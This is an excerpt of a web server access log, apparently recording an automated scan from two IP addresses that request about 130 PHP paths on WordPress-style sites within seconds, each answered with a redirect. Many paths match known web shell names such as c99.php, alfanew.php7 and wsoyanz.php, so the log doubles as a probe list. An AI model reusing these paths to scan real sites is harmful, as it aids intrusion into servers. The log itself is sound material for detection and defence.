(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:22:27 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:27 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:28 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:28 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:28 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:29 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:29 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:29 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:29 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:29 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:30 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:30 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:30 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:30 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 